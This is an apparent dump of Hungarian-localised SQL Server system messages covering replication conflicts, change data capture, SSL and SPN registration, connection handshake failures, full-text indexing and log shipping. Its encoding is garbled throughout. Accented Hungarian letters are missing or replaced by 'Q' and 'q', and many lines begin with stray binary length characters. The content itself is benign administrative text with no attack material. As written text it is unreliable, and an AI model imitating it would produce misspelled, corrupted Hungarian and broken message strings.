A megadott adattpus-lekpezst nem lehet hasznlni. Nem tallhat a(z) %1!s! forrsadattpushoz tartoz megfelelQ cladattpus. A tmogatott lekpezsek listjt krdezze le az msdb.dbo.sysdatatypemappings rendszertblbl. EllenQrizze a forrstpus hossznak, pontossgnak, lptknek s nullzhatsgnak helyessgt.

A DDL replikci nem engedlyezett a(z)  %1!s!  adatbzis esetben, mert kompatibilitsi szintje kisebb 80-nl.

dA biztonsg, a ktegmret s az temezs paramtere elavultt vlt, tovbb nem hasznlhat. Tovbbi informcikrt lsd az  sp_addsubscriber  trolt eljrs dokumentcijt.

A DDL replikci jrainicializlst tesz ktelezQv, mert vagy a(z)  %1!s!  kiadvny bcp karaktermdot hasznl, vagy az idQblyegzQ/identits oszlop csak a(z)  %2!s!  cikkhez tartoz alaptpusknt trtnQ repliklsa zajlik.

Figyelmeztets: A(z)  %3!s!  %2!s!  %1!s!  tulajdonsga  %4!s!  rtkre vltozott a(z) %5!s! elQrsainak megfelelQen.

Nem lehet j cikket adni a(z)  %1!s!  kiadvnyhoz, mert smavltoztatsi mqvelet van folyamatban vagy pillanatkp ltrehozsa zajlik.

0ElQfordulhat, hogy a(z)  %2!s!  kiadvnyban szereplQ  %1!s!  cikk knyszertett jrainicializlsa kzben a(z)  %3!s!  frtztt indexet vagy indexnzetet a frisstsi vagy visszalltsi folyamat tugrotta. jra hozza ltre az indexet, majd szinkronizlja jra az adatokat.

A(z)  %2!s!  adatbzis  %1!s!  tblja tranzakcis vrakozsi soros kiadvnyhoz iratkozik fel, s a feltlttt vltoztatsok egyestse rdekben van kzztve, ami sszetartsi hibt okozhat a tranzakcis kzztevQ s elQfizetQ kztt.

A cikkhez tartoz szqrsi tpus megvltozott. Az ezen cikkben az elQfizetQ ltal aktulisan van a ksQbbiekben eszkzlt vltoztatsokat nem terjeszti a rendszer a tbbi partcin tallhat elQfizetQk fel. A rszleteket olvassa el a dokumentciban.

Nem lehet szinkronizlni a sort, mert azt msik, a replikcin kvli folyamat frisstette.

(Inicializls.

tElQfizetQ vltoztatsainak feltltse a kzztevQhz.

tKzztevQ vltoztatsainak letltse az elQfizetQhz.

Figyelmeztets: Az sp_mergecleanupmetadata eljrs elavult. Az SQL Server 2000 SP1 s ksQbbi termkben az egyestsi gynk hvja az sp_mergemetadataretentioncleanup eljrst minden egyes futsakor, gy a metaadatok kzi tiszttsra nincs szksg. A rendszer figyelmen kvl hagyja a bekldtt paramtereket, s meghvja az sp_mergemetadataretentioncleanup eljrst.

A failover_mode megadott %1!s! rtke rvnytelen a kvetkezQ esetben [%2!s!].[%3!s!].[%4!s!], a rendszer 0 rtkre lltja [azonnal].

Figyelmeztets: A  schema_option  tulajdonsgban megadott jelzQk nmelyiknek rtke nem kompatibilis a kiadvny kompatibilitsi szintjvel. A rendszer a mdostott  %1!s!  schema_option rtket hasznlja majd.

,A(z)  %1!s!  cikk esetben be van kapcsolva a varbinary(max) oszlopokra vonatkoz FILESTREAM attribtum parancsprogramos kiratst vgzQ smabellts. Ha a bellts bekapcsolsa a cikk ltrehozsa utn trtnik, az meghisthatja a replikcit, amennyiben a FILESTREAM oszlopok valamelyikben 2 GB feletti adatmennyisg szerepel, s tkzs lp fel a replikci alatt. Ha FILESTREAM adatokat kvn repliklni, akkor vesse el, majd hozza ltre jra a cikket, s adja meg a megfelelQ smabelltst a cikk jbli ltrehozsakor.

Tovbbi informcikrt krdezze le a sys.dm_cdc_errors dinamikus kezelQnzetet.

xA rendszer elvetette a meglvQ  %1!s!  tkzsi tblt.

A(z)  %1!s!  oda- s visszautazs idQtllpssel vgzQdtt: %2!s! msodperc.

A topolgiban tallhatk olyan trscsompontok, amelyek nem tmogatjk az tkzsszlelst. Az tkzsszlels hasznlathoz bizonyosodjon meg arrl, hogy a topolgia sszes csompontjnak verzija SQL Server 2008 vagy jabb.

4A topolgia ismtlQdQ szerzQazonostt tartalmaz. Az tkzsszlels hasznlathoz a szerzQazonostnak egyedinek kell lennie a teljes topolgiban.

A rendszer  %1!s!  tpus tkzst szlelt a(z) %2!s! trs esetben a(z) %3!s! (bejvQ) trs   tranzakciazonost: %4!s!   s a(z) %5!s! (lemezen) trs   tranzakciazonost: %6!s!   kztt.

\%1!s! rendelkezik a kvetkezQvel: %2!s!.

dA rendszer trls-trls tkzst szlelt, s feloldotta azt. A sort nem sikerlt trlni a trsrl, mert a sor nem ltezik. A bejvQ trlsi utastst a rendszer tugrotta.

A rendszer trls-frissts tkzst szlelt a(z) %1!s! (bejvQ) s a(z) %2!s! (lemezen) trs kztt, amelyet nem sikerlt automatikusan feloldani. A(z) %3!s! trs tugrotta a bejvQ trlsi utastst. Az tkzst kzzel fel kell oldani annak biztostsa rdekben, hogy a trskzi adatsszetarts ne srljn. Az tkzsfeloldsi lpsek lerst lsd az online knyvekben.

A rendszer trls-frissts tkzst szlelt a(z) %1!s! (bejvQ) s a(z) %2!s! (lemezen) trs kztt, s feloldotta azt. A bejvQ trlsi utastst a rendszer vgrehajtotta a(z) %3!s! trson.

lA rendszer mdostsi-mdostsi tkzst szlelt a bejvQ %1!s! fl s a lemezen levQ %2!s! fl kztt, s feloldotta azt. A kvetkezQ fl kihagyta a bejvQ mdostst: %3!s!.

|A rendszer mdostsi-mdostsi tkzst szlelt a bejvQ %1!s! fl s a lemezen levQ %2!s! fl kztt, s feloldotta azt. A bejvQ mdosts a kvetkezQ flre lett alkalmazva: %3!s!.

 A rendszer mdosts-trls tkzst szlelt, amelyet nem oldott fel. A sort nem sikerlt mdostani, mert a sor nem ltezik. A berkezQ mdostst a rendszer tugrotta. EllenQrizze a cltrs prioritst, s adatrvnyests futtatsval gyQzQdjn meg arrl, hogy a trlsi tkzs nem okozott sszetartsi hibt.

dA rendszer beszrsi-beszrsi tkzst szlelt a bejvQ %1!s! fl s a lemezen levQ %2!s! fl kztt, s feloldotta azt. A kvetkezQ fl kihagyta a bejvQ beszrst: %3!s!.

tA rendszer beszrsi-beszrsi tkzst szlelt a bejvQ %1!s! fl s a lemezen levQ %2!s! fl kztt, s feloldotta azt. A bejvQ beszrs a kvetkezQ flre lett alkalmazva: %3!s!.

 Nem sikerlt trlni azokat a tblamdostsi bejegyzseket, amelyeket elavultt tett a(z) %1!s! adatbzis pldnyainak rgztshez tartoz als vzjel(ek) megvltoztatsa. A hiba a kvetkezQ parancs vgrehajtsa kzben jelentkezett:  %2!s! . A visszakldtt hibakd a(z) %3!s!:  %4!s!  volt. A mqvelet s a hiba segtsgvel llaptsa meg a sikertelensg okt, majd kldje el jra a krelmet.

Nem lehet trlni az elavult bejegyzseket a(z) %1!s! adatbzishoz tartoz cdc.lsn_time_mapping tblbl. A hiba a kvetkezQ parancs vgrehajtsa kzben jelentkezett:  %2!s! . A visszakldtt hibakd a(z) %3!s!:  %4!s!  volt. A mqvelet s a hiba segtsgvel llaptsa meg a sikertelensg okt, majd kldje el jra a krelmet.

Figyelmeztets: A @allow_partition_switch paramter megadott rtke 1. A mdostsi adatok rgztse nem kveti a partcivltsbl eredQ tblavltoztatsokat, ami adatinkonzisztencit okoz a mdostsok vgrehajtsnl. Az online knyvekben tovbbi informcikat olvashat a partcivltsi mqvelet adatvltozs-rgzts kzbeni viselkedsrQl.

`Figyelmeztets: A @allow_partition_switch paramter megadott rtke 0. Az ALTER TABLE ... SWITCH PARTITION utastst nem lehet kiadni erre a particionlt tblra vonatkozan. Az online knyvekben tovbbi informcikat olvashat a partcivltsi mqvelet adatvltozs-rgzts kzbeni viselkedsrQl.

tFigyelmeztets: A @allow_partition_switch paramter rtknek 1-nek kell lennie a nem particionlt tblk esetben. A rendszer figyelmen kvl hagyja a paramterhez megadott 0 rtket. Az online knyvekben tovbbi informcikat olvashat a partcivltsi mqvelet adatvltozs-rgzts kzbeni viselkedsrQl.

Nem lehet frissteni a(z)  %1!s!  adatbzist.  %2!s!  hiba trtnt:  %3!s! . A jelentsben szereplQ hiba segtsgvel hatrozza meg a sikertelensg okt, majd a frissts jbli futtatshoz hajtsa vgre a sys.sp_cdc_vupgrade eljrst az adatbzis-krnyezeten.

A(z)  %1!s!  adatbzis esetben mr engedlyezett az adatvltozsok rgztse funkci. GyQzQdjn meg arrl, hogy a megfelelQ adatbzis-krnyezet van belltva, majd prblja jbl elvgezni a mqveletet. A bekapcsolt adatvltozs-rgztssel fut adatbzisokrl szl jelentsrt krdezze le a sys.databases katalgusnzet is_cdc_enabled oszlopt.

TSmavltozsok s tmeges beszrsok

PDinamikus pillanatkp elQksztse

A  sys.fn_xe_file_target_read_file  eljrs tugorja a(z)  %1!s!  rekordjait %2!s! eltols mellett.

A(z)  %1!s!  nevq bQvtettesemny-munkamenet mdostva lett a frissts sorn, s az egyik kigyqjtsi cl ki lett zrva a bQvtettesemny-munkamenetbQl. Mindegyik bQvtettesemny-munkamenet csak egy kigyqjtsi clt tmogat.

pA kiszolgln nem sikerlt betlteni az SSL-kapcsolat kezdemnyezshez szksges tanstvnyt. A visszakldtt hiba: %1!s!. GyQzQdjn meg arrl, hogy a tanstvnyok rvnyesek.

A rendszer betlttte a titkostshoz szksges [Cert Hash(sha1)  %1!s! ] tanstvnyt.

Nem tallhat rvnyes tanstvny, nalrt tanstvnyt pedig nem lehet ltrehozni, ezrt nem lehet inicializlni az SSL-titkostst.

Sikerlt betlteni az nllan ltrehozott tanstvnyt a titkostshoz.

|A kiszolgl figyel a kvetkezQn: [ %1!s! <%2!s!> %3!s!].

A HTTP-hitelests sikeres volt a kvetkezQ felhasznl esetben: '%1!s!'.%2!s!

A kiszolgl nevestettcsQ-szolgltatja kszen ll kapcsoldsok fogadsra a kvetkezQn: [ %1!s! ].

TAz SQL Server hlzati csatol knyvtra befejezetlen kapcsolatok miatt nem tudott  udvarias  megszaktst vgrehajtani. Azonnali megszaktsi mqveletet hajt vgre.

Az SQL Server hlzati csatol knyvtra nem tudta bejegyezni az SQL Server szolgltatshoz tartoz egyszerq szolgltatsnevet (SPN). Windows visszatrsi kd: %1!s!, llapot: %2!s!. Egy SPN bejegyzsnek sikertelensge azt is okozhatja, hogy az integrlt hitelests Kerberos helyett NTLM-hitelestst hasznl. Ez az zenet csak tjkoztat jellegq. Tovbbi teendQ csak akkor merl fel, ha a hitelestsi hzirendek elQrjk a Kerberos-hitelests alkalmazst, s ha az SPN-t nem jegyeztk be kzzel.

 Az SQL Server hlzati csatol knyvtra nem tudta trlni az SQL Server szolgltatshoz tartoz egyszerq szolgltatsnevet (SPN). Hiba: %1!s!, llapot: %2!s!. A rendszergazdnak kzzel kell trlnie ezt az SPN-nevet az gyfl-hitelestsi hibk elkerlse rdekben.

A kiszolgl TCP-szolgltatja sikeresen jrakezdte a kvetkezQ port figyelst: [ %1!s! ].

A kiszolgl HTTP-szolgltatja sikeresen jrakezdte a figyelst.

A kiszolgl nevestettcsQ-szolgltatja sikeresen jrakezdte a figyelst a kvetkezQ porton: [ %1!s! ].

A kiszolgl helyikapcsolat-szolgltatja kszen ll kapcsolatok fogadsra a kvetkezQ porton: [ %1!s! ].

A kiszolgl helyikapcsolat-szolgltatja sikeresen jrakezdte a figyelst a kvetkezQ porton: [ %1!s! ].

 Az SQL Server hlzati csatolja a tbbcsompontos (NUMA), 0x%2!s! csompont-affinitsi maszkkal rendelkezQ kiszolglkonfigurciban tallhat %1!s! csomponton figyelQket inicializlt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Nem sikerlt frissteni a dediklt rendszergazdai kapcsolat (DAC) portszmt a belltsjegyzkben. ElQfordulhat, hogy az gyfelek nem talljk meg a megfelelQ DAC-portot az SQL Server tallzsi szolgltatsn keresztl. Hiba: %1!s!.

,Az SQL Server hlzati csatol knyvtra sikeresen bejegyezte az SQL Server szolgltatshoz tartoz [ %1!s! ] egyszerq szolgltatsnevet (SPN). 

8Az SQL Server hlzati csatol knyvtra sikeresen trlte az SQL Server szolgltatshoz tartoz [ %1!s! ] egyszerq szolgltatsnv (SPN) bejegyzst. 

Nem sikerlt meghatrozni a szmtgp teljesen megadott tartomnynevt az egyszerq szolgltatsnv (Service Principal Name   SPN) ltrehozsa kzben. Ez a szmtgp hlzati belltsaiban tallhat hibra utalhat. Hiba: %1!s!. 

Az SQL Server nem tudta figyelni a(z) [%1!s!] IP-cmet, mert a(z)  %2!s!  frterQforrs llapota nem online (llapot = %3!s!). Ez tjkoztat zenet, s arra utalhat, hogy a(z)  %4!s!  erQforrs VAGY tpus fggQsgben van tbb olyan IP-cmmel, amelyek nmelyike ppen offline vagy hiballapotban van. Tovbbi mqveletek vgrehajtsa csak abban az esetben szksges, ha ltalnosan lehetQsg van a(z)  %5!s!  frterQforrs IP-cmt az aktulis kezelQcsomponton tallhat hlzati szegmenshez ktni.

Az SQL Server hlzati csatol knyvtra nem tudta bejegyezni az SQL Server szolgltatshoz tartoz egyszerq szolgltatsnevet (SPN) [ %1!s! ]. Windows visszatrsi kd: %2!s!, llapot: %3!s!. Egy SPN bejegyzsnek sikertelensge azt is okozhatja, hogy az integrlt hitelests Kerberos helyett NTLM-hitelestst hasznl. Ez az zenet csak tjkoztat jellegq. Tovbbi teendQ csak akkor merl fel, ha a hitelestsi hzirendek elQrjk a Kerberos-hitelests alkalmazst, s ha az SPN-t nem jegyeztk be kzzel.

`Az SQL Server hlzati csatol fggvnytra nem tudta trlni az SQL Server szolgltatshoz tartoz egyszerq szolgltatsnv (SPN) [ %1!s! ] bejegyzst. Hiba: %2!s!, llapot: %3!s!. A rendszergazdnak kzzel kell trlnie ezt az SPN-nvbejegyzst az gyfl-hitelestsi hibk elkerlse rdekben.

MegkezdQdtt a figyels a kvetkezQ nevq virtulis hlzaton:  %1!s! . Nincs szksg felhasznli beavatkozsra.

Lellt a figyels a kvetkezQ nevq virtulis hlzaton:  %1!s! . Nincs szksg felhasznli beavatkozsra.

Tbb fggQ virtulis hlzati nv tallhat a kvetkezQ Windows feladattvteli frtszolgltatsi erQforrshoz:  %1!s! . Az SQL Server csak az elsQ virtulis hlzati nvhez tartoz erQforrson fog figyelni:  %2!s! . Ez azt jelezheti, hogy helytelen a Windows feladattvteli frtszolgltatsi erQforrsok konfigurcija az SQL Server rendszerhez.

Az SQL Server megprbl bejegyezni egy egyszerq szolgltatsnevet az SQL Server szolgltats szmra. A Kerberos hitelests mindaddig nem hasznlhat, amg be nem jegyeznek egy egyszerq szolgltatsnevet az SQL Server szolgltats szmra. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

ElkezdQdtt a(z)  %1!s!  projektre vonatkoz visszalltsi mqvelet a kvetkezQ verzirl:  %2!s! .

BefejezQdtt a(z)  %1!s!  projektre vonatkoz visszalltsi mqvelet a kvetkezQ verzirl:  %2!s! .

Figyelmeztets: a felhasznl mr rendelkezik a krelmezett engedllyel. Az ismtlQdQ krelmet a rendszer figyelmen kvl hagyja.

Figyelmeztets: Rendszerindtskor az Integration Services kiszolgl megszaktottknt jellte a(z) %1!s! mqveletet (tpusa: %2!s!, llapota: %3!s!). Tekintse meg a mqvelet rszleteit a mqvelet/esemnynaplban.

Hiba trtnt a jelen SQL Server-pldnyhoz trstott nyilvnos kulcs tanstvny keressekor: A tanstvny mg nem rvnyes.

Hiba trtnt a jelen SQL Server-pldnyhoz trstott nyilvnos kulcs tanstvny keressekor: A tanstvny lejrt.

A kapcsolati kzfogs meghisult. Nincs elegendQ szabad memria. llapot: %1!s!.

A kapcsolati kzfogs meghisult. Nincs kompatibilis %1!s!. llapot: %2!s!.

A kapcsolati kzfogs meghisult. Nem sikerlt kzfogsi zenetet kldeni, mert a trs megszaktotta a kapcsolatot. llapot: %1!s!.

A kapcsolati kzfogs meghisult. Vratlan esemny (%1!s!) trtnt az aktulis krnyezet (%2!s!) esetben. llapot: %3!s!.

A kapcsolati kzfogs meghisult. Az SQL Server hlzati csatoljnak kldtt hvsok egyike sikertelen: (%1!s!) %2!s!. llapot: %3!s!.

A kapcsolati kzfogs meghisult. Sikertelen OS-hvs: (%1!s!) %2!s!. llapot: %3!s!.

A rendszer ugyanezen trssal korbban kialaktott kapcsolatot szlelt a kapcsolati kzfogs kzben. Ez a kapcsolat elvesztette hozzrendeltsgt, s megszqnik. A rendszer a teljes adatforgalmat a korbban meglvQ kapcsolatra irnytja t. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra. llapot: %1!s!.

@Ugyanaz a trs j kapcsolatot hozott ltre. Ez a kapcsolat elvesztette hozzrendeltsgt, s megszqnik. A rendszer a teljes adatforgalmat az jonnan ltrehozott kapcsolatra irnytja t. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra. llapot: %1!s!.

8A kapcsolati kzfogs meghisult. A(z)  %1!s!  bejelentkezsi azonost nem rendelkezik CONNECT (kapcsoldsi) engedllyel a vgponton. llapot: %2!s!.

A kapcsolati kzfogs meghisult. A trs ltal hasznlt tanstvny rvnytelen a kvetkezQ ok miatt: %1!s!. llapot: %2!s!.

A kapcsolati kzfogs meghisult. A kvetkezQ vgpont ltal hasznlt tanstvny nem tallhat: %1!s!. A fQadatbzison futtatott DBCC CHECKDB eljrssal ellenQrizze a vgpontok metaadatainak integritst. llapot: %2!s!.

A kapcsolati kzfogs meghisult. %1!s! hiba trtnt a tanstvnyhoz tartoz titkos kulcs inicializlsakor. Az SQL Server hibanapl s a Windows esemnynapl tartalmazhat erre a hibra vonatkoz bejegyzst. llapot: %2!s!.

A kapcsolati kzfogs meghisult. A kzfogs ellenQrzse sikertelen volt. llapot: %1!s!.

A kapcsolati kzfogs meghisult. A fogadott SSPI-csomag nem az egyeztetett tpusba tartozik. llapot: %1!s!.

Srlt zenet rkezett. A szomszdos hibazenet fejlce rvnytelen.

A kapcsolati kzfogs meghisult. A trs ltal hasznlt tanstvny nem egyezik a MASTER adatbzisban szereplQ, azonos killti nvvel s sorozatszmmal rendelkezQ tanstvnnyal. llapot: %1!s!.

%1!s! A(z)  %2!s!  felhasznl sikeresen bejelentkezett. Hitelestsi md: %3!s!. %4!s!

A(z) %1!s! belpsi ksrlet hiba miatt sikertelen:  %2!s! . %3!s!

A(z)  %2!s!  felhasznl ltal vgrehajtott %1!s! belpsi ksrlet hiba miatt sikertelen:  %3!s! . %4!s!

Ezen beszlgets munkamenetkulcst nem lehet ltrehozni vagy elrni. Ehhez a mqvelethez szksg van az adatbzis fQkulcsra.

Nem lehet menteni egy prbeszd munkamenetkulcst. Az adatbzisban tallhat fQkulcs szksges a munkamenetkulcs mentshez.

tA(z)  %1!s!  adatbzis Service Broker sszetevQje folyamatban lvQ beszlgetsfrisstsi mqveletben szerepel. Ezen mqvelet befejezshez az adatbzisban tallhat fQkulcs szksges.

A kapcsolati kzfogs meghisult. A berkezett SSPI-zenet Jvhagys llapota vratlan. llapot: %1!s!.

A kldQ adatbzisnak tvitelszervezQ alkalmazsa egyfelhasznls mdban fut. Egyfelhasznls zemmdban nem lehet zenetet kzbesteni.

Nem sikerlt lekrdezni az FIPS-kompatibilitsi mdjelzQt a belltsjegyzkbQl. Hiba: %1!s!.

A(z) %1!s! vgpont FIPS-kompatibilitsi mdban fut. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az RC4 titkostsi algoritmus hasznlatt a rendszer a nem tmogatja FIPS-kompatibilitsi mdban.

A kapcsolati kzfogs meghisult. A fogadott SSPI-csomag nem a vrt irnybl rkezett. llapot: %1!s!.

A kapcsolati kzfogs meghisult. Nincs konfigurlva a(z) %1!s! vgpont. llapot: %2!s!.

<A kapcsolati kzfogs meghisult. A rendszer a(z) %1!s! vratlan llapotot kldte vissza kzfogs zenet kldsre tett ksrlet kzben. llapot: %2!s!.

A kapcsolati kzfogs meghisult. Vratlan belsQ hiba trtnt egy zenet trendezsre tett ksrlet kzben. llapot: %1!s!.

Hiba trtnt a Service Broker belsQ aktivciban a(z)  %1!s!  felhasznli sor llapotnak beolvassra tett ksrlet kzben. Hiba: %2!s!, llapot: %3!s!. %4!s! Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

 A rendszer nem tmogatja a hitelests nlkli kezdQ vgpontot %1!s! esetben.

DDNS-keresskor a rendszer ugyanezen trssal korbban kialaktott kapcsolatot tallt. Ezt a kapcsolatot a rendszer megsznteti, s a teljes adatforgalmat a korbbi kapcsolatra irnytja t. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra. llapot: %1!s!.

hA(z)  %1!s!  adatbzis frisstsi folyamata kzben a rendszer szlelte, hogy mr ltezik  %2!s!  felhasznli objektum  %3!s!  nven. Az objektumot a rendszer lefoglalja az SQL Server ezen verzijban. Mr szerepel az adatbzisban, ezrt a frissts folyamata nem tudja telepteni az objektumot. Tvoltsa el vagy nevezze t az eredeti (frissts elQtti) adatbzisbl szrmaz felhasznli objektumot az SQL Server egy korbbi verzijnak segtsgvel, majd ismt prblkozzon az adatbzis-frisstssel a CREATE DATABASE FOR ATTACH utasts kiadsval. A lefoglalt objektumon alapul funkcik nem felttlenl mqkdnek megfelelQen, ha jelenlegi llapotban tovbb hasznlja az adatbzist.

Az SQLSQM.EXE fjlt nem lehet elindtani. Ennek vagy az az oka, hogy belltsjegyzkben szereplQ adatok hinyoznak vagy srltek, vagy pedig nem tallhat a hinyz/srlt SQLSQM.EXE fjl.

A globlis holtpontfigyelQ inaktv. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

(Figyelmeztets: A nem indexelendQ szavak teljes szveges listjnak mdostsa a WITH NO POPULATION (nincs feltlts) zradkkal trtnt. Ez a teljes szveges indexet inkonzisztens llapotba hozta. A teljes szveges index konzisztens llapotnak elrshez indtson el teljesen feltltst. Ennek alapvetQ Transact-SQL szintakszisa a kvetkezQ: ALTER FULLTEXT INDEX ON tblanv START FULL POPULATION.

dA teljes szveges index inkonzisztens llapotba kerlt, mert a teljes szveges index keressitulajdonsg-listjnak jrakonfigurlsa WITH NO POPULATION zradkkal trtnt. A teljes szveges index konzisztens llapotnak elrshez indtson el teljesen feltltst a kvetkezQ utasts kiadsval: ALTER FULLTEXT INDEX ON <tblanv> START FULL POPULATION;. Ez csupn figyelmeztetQ zenet, nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  tbla vagy indexelt nzet teljes szveges bejrsa kzben a rendszer nem regisztrlt tulajdonsgot ( %2!s! ) tallt a(z) %3!s! azonostj ktegben. A rendszer ezt a tulajdonsgot az ltalnos tartalom rszeknt indexeli, ezrt az nem lesz elrhetQ a tulajdonsgokra irnyul teljes szveges lekrdezsekben. A tbla vagy indexelt nzet azonostja  %4!s! . Az adatbzis azonostja  %5!s! . A tulajdonsgok bejegyzsvel, illetve a tbla vagy indexelt nzet teljes szveges indexnek frisstsvel kapcsolatban olvassa el az SQL Server online knyvekben a teljes szveges keressre vonatkoz dokumentcit. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  tbla vagy indexelt nzet teljes bejrsnak befejezsekor elindult fQ egyests sikertelen volt, a hibakd: HRESULT = '0x%2!s!'. Az adatbzis azonostja  %3!s! , a tblaazonost %4!s!, a katalgusazonost pedig %5!s!.

Tjkoztats: A rendszer figyelmen kvl hagyja az ismtlQdQ  %1!s!  szinonimaszablyt a(z) %2!s! LCID azonosthoz tartoz szinonimafjl betltsekor. IsmtlQdQ szinonimakifejezs szerepel vagy valamelyik bQvtsi szably <sub> szakaszban, vagy valamelyik csereszably <pat> szakaszban. Ez ktrtelmqsget eredmnyez, gy a rendszer figyelmen kvl hagyja ezt a kifejezst.

A rendszer megkezdte a(z)  %2!s!  adatbzisban tallhat  %1!s!  teljes szveges katalgus importlst.

A teljes szveges katalgusimportls befejezQdtt a(z)  %2!s!  adatbzisban tallhat teljes szveges  %1!s!  katalgus esetben. A rendszer %3!s! tredket s %4!s! kulcsszt dolgozott fl.

A(z)  %1!s!  frisstsi bellts van hasznlatban a(z)  %3!s!  adatbzisban tallhat  %2!s!  teljes szveges katalgus esetben.

Figyelmeztets: Az SQL Server nem llthatja az fdhost.exe feldolgoz affinitst %1!s! rtkre, mert ez az rtk nem rvnyes.

(A(z)  %1!s!  fjlcsoport vagy offline, vagy csak olvashat, illetve nem adatfjlokat tartalmaz. A(z)  %2!s!  tbln vgrehajtand teljes feltltsi mqveletet nem folytatja a rendszer. A fjlcsoport llapotnak kijavtsa utn folytassa a teljes szveges adatfeltltst. 

PFigyelmeztets: A levlaszts mqvelet nem trlheti a(z)  %2!s!  adatbzisban tallhat  %1!s!  tblra vonatkoz teljes szveges indexet, mert az index csak olvashat fjlcsoport rsze. A teljes szveges index elvetshez csatlakoztassa jra az adatbzist, mdostsa a csak olvashat fjlcsoport hozzfrst (olvass/rs), majd vlassza le azt. Ez a figyelmeztets nem gtolja az adatbzis levlasztsnak mqvelett.

Adatbzis-frissts kzben rendszer sikeresen ellenQrizte a(z)  %2!s!  katalgusban hasznlt  %1!s!  teljes szveges szqrQsszetevQt. Az sszetevQ verziszma  %3!s! . A teljes elrsi t:  %4!s! .

Az adatbzis frisstse kzben a rendszer sikeresen ellenQrizte a teljes szveges szkeresQ  %2!s!  katalgus ltal hasznlt  %1!s!  sszetevQjt. Az sszetevQ verziszma:  %3!s! . A teljes elrsi t:  %4!s! . A krt nyelv: %5!s!. A hasznlt nyelv: %6!s!.

Az adatbzis frisstse kzben a rendszer sikeresen ellenQrizte a teljes szveges protokollkezelQ  %2!s!  katalgus ltal hasznlt  %1!s!  sszetevQjt. Az sszetevQ verziszma:  %3!s! . A teljes elrsi t:  %4!s! . A programazonost:  %5!s! .

HA rendszer lelltja a teljes szveges bejrsokat a kvetkezQ helyen: %1!s! adatbzis-azonost, %2!s! tblaazonost, %3!s! katalgusazonost. A lellts oka, hogy a tblzat frtbe rendezett tblja megvltozott vagy a rendszer elvetette. A bejrst jra kell indtani az elejtQl.

A frtztt index mdostsa miatt a rendszer alaprtkre lltotta a teljes szveges bejrsok folyamatnak elQrehaladsval kapcsolatos adatokat a kvetkezQ esetben: %1!s! adatbzis-azonost, %2!s! tblaazonost, %3!s! katalgusazonost. A bejrs a szneteltets feloldst kvetQen ellrQl kezdve jraindul.

HA teljes szveges lekrdezs nem hasznlta a OPTIMIZE FOR tipphez megadott rtket, mert a lekrdezsben tbbfle teljes szvegq logikai opertor is szerepel.

A teljes szveges lekrdezs figyelmen kvl hagyta az UNKNOWN rtket az OPTIMIZE FOR tippben.

A rendszer gyorsttrazott tervet lltott ssze az aktulis rtkekkel nem kompatibilis nyomkvetsi jelzQk segtsgvel. rdemes megfontolnia a lekrdezs jrafordtst az j nyomkvetsijelzQ-belltsokkal.

A teljes szveges szqrQdmon gazdafolyamata rendben megllt. A rendszer szksg esetn automatikusan jraindtja a folyamatot.

Sikerlt elindtani a teljes szveges szqrQdmon gazdafolyamatnak egy j pldnyt.

A rendszer figyelmen kvl hagyta a(z)  %1!s!  tbla vagy indexelt nzet teljes szveges indexe feltltsnek elindtsra vonatkoz krelmet, mert jelenleg szneteltetve van egy feltltsi folyamat. Folytassa vagy lltsa le a szneteltetett feltltst. A folytatshoz adja ki a kvetkezQ Transact-SQL nyelvq utastst: ALTER FULLTEXT INDEX ON %2!s! RESUME POPULATION. A lelltshoz a kvetkezQ utastst adja ki: ALTER FULLTEXT INDEX ON %3!s! STOP POPULATION.

HA(z)  %2!s!  adatbzisban tallhat  %1!s!  teljes szveges katalgus ltal hasznlt nyelvi sszetevQk verzija eltr az SQL Server ezen verzijban elrhetQ nyelvi sszetevQktQl. A rendszer ettQl fggetlenl importlja a teljes szveges katalgust az adatbzis-frissts rszeknt. A lekrdezsi eredmnyek lehetsges inkonzisztenciinak kikszblse rdekben ajnlott jrapteni a teljes szveges katalgust.

A(z) %1!s! feltlts teljes szveges jraprblsi menete elindult a(z)  %2!s!  tblra, illetve indexelt nzetre vonatkozan. A tbla, illetve indexelt nzet azonostja  %3!s! . Az adatbzis azonostja  %4!s! . 

A teljes szveges katalgus frisstse nem sikerlt a sys.master_files s a sys.fulltext_catalogs metaadatai kzti inkonzisztencia miatt a(z) %2!s! azonostj adatbzisban tallhat %1!s! azonostj katalgus esetben. Prblja jracsatolni ezt az adatbzist. Ha ez nem hoz eredmnyt, a katalgust el kell vetni, s az jracsatols elQtt ismt ltre kell hozni.

LA(z)  %1!s!  adatbzis s a(z)  %2!s!  tblzat bejrshoz tartoz adatok betltst clz belsQ lekrdezs sikertelen volt, a visszakldtt hibakd: %3!s!. Az sql-hibakd alapjn tudjon meg tbbet a hibt okoz problmrl. A problma elhrtst kvetQen a bejrst jra kell indtani.

A teljes szveges index keressitulajdonsg-listjnak jrakonfigurlsa csonkolta az indexben szereplQ adatokat. A teljes szveges index jbli teljes feltltsig a teljes szveges lekrdezsek rszleges eredmnyt adnak. Az ALTER FULLTEXT INDEX <tblanv> SET SEARCH PROPERTY LIST ...; utasts automatikusan elrendeli a teljes feltltst, de ha az ALTER FULLTEXT INDEX utasts WITH NO POPULATION zradkkal van kiadva, akkor teljes feltltst kell futtatnia a teljes szveges indexen az ALTER FULLTEXT INDEX ON <tblanv> START FULL POPULATION; utastssal. Ez figyelmeztetQ zenet.

Figyelmeztets: A fQ egyestsi mqvelet nem lett elvgezve a kvetkezQre: adatbzis-azonost: %1!s!, objektumazonost: %2!s!. Ezrt az index lekrdezse lass lesz. Futtassa az  alter fulltext catalog reorganize  utastst. 

%1!s!   napl biztonsgi mentsi feladatnak naplkldse.

d%1!s!:%2!s!   msolsi feladat naplkldse.

|%1!s!:%2!s!   napl-visszalltsi feladat naplkldse.

xNapl biztonsgi mentsi feladatlpsnek naplkldse.

\Msolsi feladat lpsnek naplkldse.

tNapl-visszalltsi feladat lpsnek naplkldse.

